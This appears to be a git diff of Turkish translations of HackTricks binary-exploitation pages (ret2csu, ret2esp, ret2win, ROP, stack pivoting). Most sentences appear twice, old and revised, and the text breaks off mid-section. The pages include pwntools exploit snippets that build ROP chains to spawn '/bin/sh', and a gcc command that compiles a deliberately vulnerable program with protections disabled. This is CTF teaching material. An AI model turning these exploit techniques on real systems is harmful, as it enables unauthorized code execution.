Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
 | 
			
		||||
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında belirli değerlere ihtiyacınız var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
 | 
			
		||||
 | 
			
		||||
İşte burada **ret2csu** devreye giriyor:
 | 
			
		||||
 | 
			
		||||
1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın değerlerini rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin.
 | 
			
		||||
2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz.
 | 
			
		||||
1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın değerlerini rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin.
 | 
			
		||||
2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz.
 | 
			
		||||
 | 
			
		||||
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son istismar:
 | 
			
		||||
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -71,6 +71,6 @@ print(p.recvline())                        # should receive "Awesome work!"
 | 
			
		||||
 | 
			
		||||
### Neden Sadece libc Kullanmayalım?
 | 
			
		||||
 | 
			
		||||
Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) için de savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**.
 | 
			
		||||
Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) için de savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## **Ret2esp**
 | 
			
		||||
 | 
			
		||||
**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.
 | 
			
		||||
**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.
 | 
			
		||||
 | 
			
		||||
Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) ile başa çıkmanız gerekebilir).
 | 
			
		||||
Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) ile başa çıkmanız gerekebilir).
 | 
			
		||||
 | 
			
		||||
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın içinde değil, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.
 | 
			
		||||
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın içinde ortada değil, yığın işlevinin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.
 | 
			
		||||
 | 
			
		||||
### Alan eksikliği
 | 
			
		||||
 | 
			
		||||
@ -51,8 +51,8 @@ Bir örneği burada bulabilirsiniz: [https://ir0nstone.gitbook.io/notes/types/st
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerektiğinden bu yardımcı olmayacaktır.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bunlar esp veya herhangi bir başka register'a atlamak için bir talimat bulmayı zorlaştırabilir.
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, bu yardımcı olmayacaktır çünkü shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerekiyor.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Bunlar esp veya herhangi bir başka register'a atlamak için bir talimat bulmayı zorlaştırabilir.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir zafiyeti kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığın üzerindeki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: 
 | 
			
		||||
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyada bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığın üzerindeki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: 
 | 
			
		||||
 | 
			
		||||
### C Örneği
 | 
			
		||||
 | 
			
		||||
Bir zafiyeti olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün:
 | 
			
		||||
Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -33,13 +33,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
```
 | 
			
		||||
- `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır).
 | 
			
		||||
- `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak.
 | 
			
		||||
- `-z execstack`: Yığında kodun çalışmasına izin ver.
 | 
			
		||||
- `-z execstack`: Yığında kodun çalıştırılmasına izin ver.
 | 
			
		||||
- `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız İkiliyi devre dışı bırak.
 | 
			
		||||
- `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle.
 | 
			
		||||
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır.
 | 
			
		||||
Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır.
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -65,14 +65,14 @@ objdump -d vulnerable | grep win
 | 
			
		||||
```
 | 
			
		||||
Bu komut, `win` fonksiyonunun montajını, başlangıç adresi de dahil olmak üzere gösterecektir. 
 | 
			
		||||
 | 
			
		||||
Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e veya çıkışa dönmek yerine `win`'e atlar ve mesaj yazdırılır.
 | 
			
		||||
Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e dönmek veya çıkmak yerine `win`'e atlar ve mesaj yazdırılır.
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacaktır. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen Yazma** yapabilirsiniz. ASLR'nin nasıl çalıştığı nedeniyle, son üç hex nibble rastgeleleştirilmez, bu yüzden doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır.
 | 
			
		||||
- [**Yığın Kanalları**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Yazma** yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) olacaktır.
 | 
			
		||||
- [**Yığın Kanalları**](../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
 | 
			
		||||
## Diğer Örnekler & Referanslar
 | 
			
		||||
## Diğer örnekler & Referanslar
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
 | 
			
		||||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
 | 
			
		||||
@ -84,8 +84,8 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı
 | 
			
		||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
 | 
			
		||||
- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür
 | 
			
		||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 | 
			
		||||
- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst yazmak için format dizesi
 | 
			
		||||
- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) yazmak için format dizesi
 | 
			
		||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 | 
			
		||||
- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst yazma (ret2win)
 | 
			
		||||
- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi yazma (ret2win)
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@
 | 
			
		||||
 | 
			
		||||
### ROP Nasıl Çalışır
 | 
			
		||||
 | 
			
		||||
1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir, genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılarak.
 | 
			
		||||
1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır.
 | 
			
		||||
2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir.
 | 
			
		||||
3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar.
 | 
			
		||||
 | 
			
		||||
@ -20,7 +20,7 @@ Genellikle, gadget'lar **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget
 | 
			
		||||
 | 
			
		||||
### **x86 (32-bit) Çağrı Konvansiyonları**
 | 
			
		||||
 | 
			
		||||
- **cdecl**: Çağıran yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.**
 | 
			
		||||
- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.**
 | 
			
		||||
- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur.
 | 
			
		||||
 | 
			
		||||
### **Gadget Bulma**
 | 
			
		||||
@ -37,7 +37,7 @@ Genellikle, gadget'lar **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget
 | 
			
		||||
**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin:
 | 
			
		||||
 | 
			
		||||
1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı)
 | 
			
		||||
2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/))
 | 
			
		||||
2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/index.html))
 | 
			
		||||
3. `system()`'den dönüş adresi için yer tutucu
 | 
			
		||||
4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre)
 | 
			
		||||
```python
 | 
			
		||||
@ -77,22 +77,22 @@ p.interactive()
 | 
			
		||||
 | 
			
		||||
### **x64 (64-bit) Çağrı Konvansiyonları**
 | 
			
		||||
 | 
			
		||||
- **İlk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında geçilir. Ek argümanlar yığında geçilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında geçilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- Unix benzeri sistemlerde **System V AMD64 ABI** çağrı konvansiyonu kullanılır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
 | 
			
		||||
- **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir.
 | 
			
		||||
 | 
			
		||||
#### **Gadget'ları Bulma**
 | 
			
		||||
#### **Gadget Bulma**
 | 
			
		||||
 | 
			
		||||
Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak geçmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz:
 | 
			
		||||
Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyacak gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz:
 | 
			
		||||
 | 
			
		||||
- **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir.
 | 
			
		||||
- **ret**: Basit bir dönüş, bazı senaryolar için yığın hizalaması için faydalıdır.
 | 
			
		||||
- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır.
 | 
			
		||||
 | 
			
		||||
Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz.
 | 
			
		||||
 | 
			
		||||
### **ROP Zinciri**
 | 
			
		||||
 | 
			
		||||
Aşağıda, **pwntools** kullanarak **system('/bin/sh')** çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır.
 | 
			
		||||
Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -135,7 +135,7 @@ Bu örnekte:
 | 
			
		||||
 | 
			
		||||
### Yığın Hizalaması
 | 
			
		||||
 | 
			
		||||
**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin.
 | 
			
		||||
**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin.
 | 
			
		||||
 | 
			
		||||
## x86 ile x64 arasındaki ana fark
 | 
			
		||||
 | 
			
		||||
@ -144,8 +144,8 @@ Bu örnekte:
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 | 
			
		||||
 | 
			
		||||
## Diğer Örnekler ve Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemi yapar.
 | 
			
		||||
Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme imkanı sağlar.
 | 
			
		||||
 | 
			
		||||
Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder:
 | 
			
		||||
```
 | 
			
		||||
@ -16,14 +16,14 @@ Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bun
 | 
			
		||||
 | 
			
		||||
### EBP2Ret
 | 
			
		||||
 | 
			
		||||
Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle yararlıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.
 | 
			
		||||
Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.
 | 
			
		||||
 | 
			
		||||
Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresinin bulunduğu bir bellek alanına işaret eden **sahte bir EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\
 | 
			
		||||
**2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer.
 | 
			
		||||
Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` dönerken, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\
 | 
			
		||||
İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer.
 | 
			
		||||
 | 
			
		||||
#### Exploit Yapısı
 | 
			
		||||
 | 
			
		||||
Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`i çalıştıracak**.
 | 
			
		||||
Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak.
 | 
			
		||||
 | 
			
		||||
Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:
 | 
			
		||||
 | 
			
		||||
@ -51,9 +51,9 @@ Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonrak
 | 
			
		||||
 | 
			
		||||
Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
 | 
			
		||||
 | 
			
		||||
Bu, bir [ret2lib](ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
 | 
			
		||||
Bu, bir [ret2lib](ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, bu tekniği bir **yığın sızıntısı** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**örnek zorluk**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu, sayfanın son yüklemesidir:
 | 
			
		||||
Ayrıca, bu tekniği bir **yığın sızıntısı** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu sayfanın son yükü:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -91,8 +91,8 @@ print(p.recvline())
 | 
			
		||||
```
 | 
			
		||||
## EBP işe yaramaz
 | 
			
		||||
 | 
			
		||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili dosya bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol etmez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\
 | 
			
		||||
Bu, **prolog ve epilog değiştiği** için, eğer ikili dosya optimize edilmişse.
 | 
			
		||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili dosya bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\
 | 
			
		||||
Bu, **prolog ve epilog değişiklikleri** ikili dosya optimize edildiğinde gerçekleşir.
 | 
			
		||||
 | 
			
		||||
- **Optimize edilmemiş:**
 | 
			
		||||
```bash
 | 
			
		||||
@ -118,9 +118,9 @@ ret                 # return
 | 
			
		||||
```
 | 
			
		||||
## RSP'yi Kontrol Etmenin Diğer Yolları
 | 
			
		||||
 | 
			
		||||
### **`pop rsp`** aracı
 | 
			
		||||
### **`pop rsp`** gadget
 | 
			
		||||
 | 
			
		||||
[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` aracı** vardı ve **stack'ten bir leak** vardı:
 | 
			
		||||
